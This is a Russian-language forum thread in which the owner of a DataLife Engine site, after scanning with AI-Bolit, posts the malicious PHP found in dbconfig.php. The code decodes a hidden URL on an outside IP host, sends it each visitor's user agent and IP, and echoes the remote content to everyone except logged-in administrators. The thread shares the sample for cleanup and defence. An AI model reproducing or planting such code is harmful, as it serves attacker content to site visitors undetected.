Вирус на DLE в mysql

С чего вы взяли что в mysql?

Просто к базе не подключается и скрипт пишет ошибку на инициации.

Проверьте файлы сайта AI-Bolit'ом: http://www.revisium.com/ai/

Запустил сканирование, подождал и вышла 502

502 Bad Gateway
Служба временно недоступна

SSH доступа нет к аккаунту?

Вам понадобится SSH, попробуйте запустить через PHP-CLI, выставив настройки, которые описаны в файле readme.txt.

Вы были правы! Айболит помог найти в файле dbconfig.php подозрительное содержимое.

Удалил и все работает. Уже сменил все пароли, надеюсь больше не повторится. Мой был косяк, забыл прописать права на некоторые файлы. Козлы не дремлют однако ☝

Может кому пригодится, удалил вот что:

function textsafeunworker($id) {

	$id = intval($id);

	$rtn = $id + date("j");

	return $rtn;

}



function workorunwork($in) {

	if (textsafeunworker(64) < 1024) {

	$rtn = base64_decode($in);

	return $rtn;

	}

}

function workallt($newsid) {

	if (date("j") - $newsid > 320 ) {

		$rtn = false;

	} else {

	$get = workorunwork("aHR0cDovLzMxLjIxMC4xMTcuMTg3L3JlYWN0b3IucGhwP3BpZD0yJg==")."br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);

	if (!isset($_COOKIE[workorunwork("ZGxlX3Bhc3N3b3Jk")])) {

	echo @file_get_contents($get);

	}

	}

}

workallt (date("j"));

не забудьте сменить все пароли и установить патчи безопасности dle

Через пару дней повторится. Вы же только следствие очистили, но не причину. Ищите шеллы.